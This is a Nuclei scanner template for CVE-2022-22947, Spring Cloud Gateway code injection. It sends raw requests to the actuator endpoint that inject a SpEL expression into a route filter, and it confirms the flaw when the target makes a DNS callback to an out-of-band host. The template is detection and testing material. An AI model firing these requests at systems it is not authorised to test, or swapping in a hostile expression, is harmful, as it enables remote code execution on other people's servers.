93 lines
3.0 KiB
YAML
93 lines
3.0 KiB
YAML
id: CVE-2022-22947
|
|
|
|
info:
|
|
name: Spring Cloud Gateway Code Injection
|
|
author: pdteam
|
|
severity: critical
|
|
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
|
|
remediation: |
|
|
Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
|
|
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
|
|
- https://github.com/wdahlenburg/spring-gateway-demo
|
|
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
|
|
- https://tanzu.vmware.com/security/cve-2022-22947
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2022-22947
|
|
cwe-id: CWE-917,CWE-94
|
|
epss-score: 0.97481
|
|
epss-percentile: 0.99964
|
|
cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: vmware
|
|
product: spring_cloud_gateway
|
|
tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"predicates": [
|
|
{
|
|
"name": "Path",
|
|
"args": {
|
|
"_genkey_0": "/{{randstr}}/**"
|
|
}
|
|
}
|
|
],
|
|
"filters": [
|
|
{
|
|
"name": "RewritePath",
|
|
"args": {
|
|
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
|
|
"_genkey_1": "/${path}"
|
|
}
|
|
}
|
|
],
|
|
"uri": "{{RootURL}}",
|
|
"order": 0
|
|
}
|
|
- |
|
|
POST /actuator/gateway/refresh HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
|
|
"route_id": "{{randstr}}",
|
|
"filters": [
|
|
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
|
|
],
|
|
"uri": "{{RootURL}}",
|
|
"order": 0
|
|
}
|
|
- |
|
|
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "/routes/{{randstr}}"
|
|
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
# digest: 4a0a0047304502202913216c2f8db770f0e94fe2ba8308c5ff911b41fd0fc7f327b21d5d99f5d54b022100b10cbbc5c6e1bb04e5fc67d81223c67427e762cbfbbacf0ee0175a44647ad55e:922c64590222798bb761d5b6d8e72950
|